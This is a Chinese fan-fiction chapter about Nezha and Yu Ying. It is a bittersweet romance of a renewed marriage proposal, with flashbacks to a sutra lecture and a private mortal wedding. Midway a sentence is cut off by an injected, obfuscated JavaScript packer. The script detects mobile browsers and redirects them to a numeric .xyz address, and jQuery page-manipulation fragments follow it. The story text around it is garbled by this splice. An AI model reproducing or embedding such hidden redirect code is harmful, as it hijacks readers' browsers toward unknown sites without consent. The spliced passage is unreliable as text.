·
她这些天时常堕入梦境。
梦境光怪陆离,碎片般拼凑着过往。总见那红衣少年牵起她的手,引她重游旧地,踏过凡尘烟火,抚过刻满记忆的每一寸山河。
梦里,他拉着她,穿梭于喧嚣市集,耐心教她如何咬开滚烫的包子皮,如何先吸尽那鲜美滚烫的汤汁,才不至灼了舌尖。
如此真实,带着人间独有的暖意。
可每次从梦中挣扎醒来,那点零碎的温度与触感,便如同指间流沙,无论如何紧握,都会迅速消散,再也抓不住分毫。
而哪吒,就躺在她身侧,他依旧霸道地紧紧箍着她的腰肢,将她圈禁在属于他的方寸之地,倒也如他旧日所说“死也不放手”。
与应睁开眼,目光穿透层层垂落的绛红纱幔,落在寝殿穹顶那朵莲心上。
一阵不知从何处钻入殿内的风掠过,纱幔上系着的发带被风拂起,轻飘飘地扫过她的眼尾。
她这才后知后觉地发现,脸颊一片濡湿,自己竟不知何时落了泪。
与应闭了闭眼,最终挪开他的手,起身掀开纱幔,身着里衣下了榻。
然而她看都没看一眼案上堆成山的卷宗,只是径直走向殿内深处,灵泉依旧水汽氤氲,水面飘散一丝清冽莲香。
她走向悬挂衣物的木架,褪去素色的里衣,挂在那件绯红外袍旁边,当时哪吒说怕她着凉,于是便将这外袍长久地放在这里。
池水温热,某人曾用灵力将原本寒冷的灵泉化成暖泉,笑着跳入池中,将她略干的发狠狠打湿,当时她嗔怪地朝他泼水,结果对方头顶“噗”地一声,莲花开满头顶。
而现在,池水依旧清澈,温度尤在,但映出的却只有她孤零零的影子,身后传来细微声响,与应下意识回过头,首先对上的是那双冻结暖意的金瞳。
哪吒身着绯红里衣,蹲在池边,散下的发落在身前织成绵密的网,而此刻的与应像一樽被池水融化冰冷外壳的琉璃菩萨,那样触手可及。
哪吒隐约记得,一次与应讲经的时候,他坐在众多信徒之中,并未坐在前排显眼处,只随意寻了个靠后的云团坐下。
在满场或垂首,或闭目,或专注聆听的身影中,他显得格格不入。
他的目光,自始至终,未曾离开过法台中央那道清冷的身影。
满座虔诚的信徒,心中念的是佛法无边,是超脱苦厄。
唯有他,哪吒,是那唯一一个心存妄念,六根不净,却也最虔诚的信徒。
他的经文,只有她。
梵音入耳,他只觉得那声音清泠悦耳,至于讲的是什么……诸法空相,不生不灭?听不懂,也不想懂。
他只看她开合的唇瓣,看她专注的侧脸,看她因长久端坐而微微绷紧的肩颈线条。
他听不到佛法,只听到自己胸腔里那颗心脏,随着她清冷声音的起伏而剧烈跳动的声音。
可现在,守望月亮的人已经变了。
哪吒的目光掠过她眼尾,熟练地为她擦泪,仿佛已经做了千百遍,他垂下眼眸,看倒映着两人身影的水面,眼底看不出情绪。
与应看着他,说不出话,心头亦有细密的针在扎,空气很静,只有晃动的水声,与应不愿再看他,赶在眼泪再次落下之前,背过身去。
那次法会结束后,她回到宫殿对镜梳头,眼中是浓重的疲惫,就在这时,清冽的莲香包裹住她,他从后面紧紧抱住她。
“喂……我……我是不是很笨?”
“他们……都听得那么认真,好像都懂了。”他继续闷声说,手臂又收紧了些,像是怕她跑了,“就我、就我一个,像个傻子一样坐那儿,一个字都听不懂……”
他声音更低下去,带着点自嘲和难言的沮丧:“你讲的那些……什么空啊色啊,因果啊轮回啊……太高深了。我……我只知道打架,只会杀伐……是不是……是不是配不上听你讲经?”
他越说声音越小,那副在战场上睥睨天地,在七苦殿里放肆撩拨的混世魔王模样荡然无存。
那时她说:“太阳,何须在意地上的凡人,是否理解它光芒万丈的奥妙?”
“它只需燃烧,以最炽烈的方式,照耀,或者焚尽。”
“你哪吒,本就是只杀不渡,以净火灭世的佛陀。你心中的道,从来不在佛经的字句里。你拥有的,是一颗如金乌般的赤子之心。”
“纯粹,炽热,焚尽虚妄,只认死理。不懂便不懂,何须自扰?”
此刻,哪吒看着她的背影,那些话仿佛还在心头,那些感受却触之即散。
当时的他只觉得胸腔里那颗黏糊糊,湿漉漉,仿佛已经和她血肉长在一起的心脏,猛烈地搏动了一下,然后彻底,永远地黏在了她身上。
像被太阳真火烙下的印记。
像被金乌利爪勾住的心魂。
再也……收不回来了。
什么佛法,什么空相,什么因果轮回,全都化作了齑粉。
他脑子里只剩下一个念头,塞满了每一寸缝隙,烧灼着每一根神经。
好喜欢她。
好喜欢她……
好喜欢她!
他低下头,滚烫的唇狠狠印在她还带着水汽的颈侧,不再是小心翼翼的触碰。
而是带着毁灭与占有的烙印,声音破碎嘶哑,如同困兽最绝望的嘶吼,又像信徒最虔诚的祷告,反复地在她耳边呢喃。
“对……我是……我是只认你的佛陀……”
“金乌……烧吧……都给你……都给你……”
“喜欢……喜欢……好喜欢……”
“我的……菩萨……我的……”
语无伦次,颠三倒四,每个字都裹挟着能焚天灭地的炽热情潮,汹涌地灌入她的耳中,将她紧紧包裹。
可现在的与应,看着水面中的人影,只觉无比讽刺。
金乌注定悬于九天,肆意挥洒光与热,焚尽前路,不问归途。
而月与秋水,只能被动地承其瞬息清辉,或是永恒静默于幽谷深寒。
与应努力平复心头的翻涌,可就在此时,哪吒跃入水中,从身后抱住了她,抱得那样紧,那样紧。
“与应……”
“我们成婚吧。”
成婚?
他们成过婚的,在凡间。
那时,少年眼中盛满了整个星河的光,亮得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823543|172776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灼人,他瞒着她,偷偷跑去缠着他母亲殷夫人,一遍遍地问,一遍遍地学。
熬了几个通宵,手指被银针扎破无数次,绣绷上沾了星星点点的花瓣。
最终,他捧出了那件嫁衣。
不是天庭流光溢彩的霞帔,也不是灵山清净无染的素袍,而是凡间最鲜亮张扬的正红色锦缎。
金线勾勒的并蒂莲缠绕着火焰纹路,针脚或许不够细密均匀,却倾注了少年全部的心血和滚烫的情意。
她接过那件还带着他体温的嫁衣,指尖都在发颤,捧起他的手,反复查看那些细小的针眼和薄茧,眼里满是心疼。
少年却浑不在意,只笑着,指尖轻轻捏了捏她柔软的脸颊肉,眼神亮晶晶的,像偷了腥的猫,又带着无比的郑重。
“你赠我发带,我还你嫁衣。”
他说:“凡间一场,天庭一场,我哪吒娶亲,必得是三界最张扬、最浩大的!我要让所有人都知道,最清冷的月已被我摘下!”
那时的诺言,带着少年人不知天高地厚的狂妄与真诚,仿佛天地规则都要为他让路。
凡间那场婚礼,没有高堂满座,没有宾客喧哗,只有他们两人,寻了一处开满桃花的山谷。
天地为证,日月为媒。
没有司仪唱礼,没有繁文缛节。
哪吒牵着她的手,一步一步,踏过柔软的青草和零落的花瓣,走到山谷中央那片落英缤纷的空地上。
微风拂过,卷起漫天粉白的花雨,轻柔地落在他们发间、肩头。
他转过身,面对着她。
红衣似火,映着漫天花雨,更衬得他面如冠玉,眉目灼灼,他眼中是毫无保留的炽热,纯粹如初生的火焰,映着小小的她。
“与应,”他声音清亮,带着紧张,额角甚至沁出细密的汗珠,一片小小的桃花瓣恰好沾在他汗湿的鬓角,随着他说话微微颤动。
“今日,不拜这劳什子的天,不拜那狗屁的地,更不拜什么高高在上的父母神佛。”
他双手捧起她的双手,那样珍视。
“我们只拜彼此。”
他率先单膝跪地,仰头望着她,眼神虔诚热烈,宣誓:“我哪吒,今日以自身起誓,只拜你一人。天地不仁,以万物为刍狗,我偏不认,我的命,我的心,我的道,从此只与你一人相连。生同衾,死同穴,天地可逆,此心不渝。”
山谷寂静,唯有风过桃林,卷起漫天绯红的花雨,簌簌如雨落。
与应看着他眼中那团燃烧的火焰,仿佛要将她一起焚尽,融入骨血,她心口滚烫,学着他的样子,缓缓跪在他面前,与他平视。
“我与你,只拜彼此。”
池水晃动,映出身后人模糊的轮廓。
他依旧紧紧抱着她,说着“成婚”,语气平静。
与应闭了闭眼。
浓密的睫毛下,水光一闪而逝。
池水的温度彻底冰冷下去,寒意刺骨。
她转过身,湿漉漉的乌发贴在苍白的脸颊,水珠顺着下颌滑落,分不清是池水还是别的什么。
她直视着哪吒那双依旧漂亮,却失了温度的金瞳。
“好。”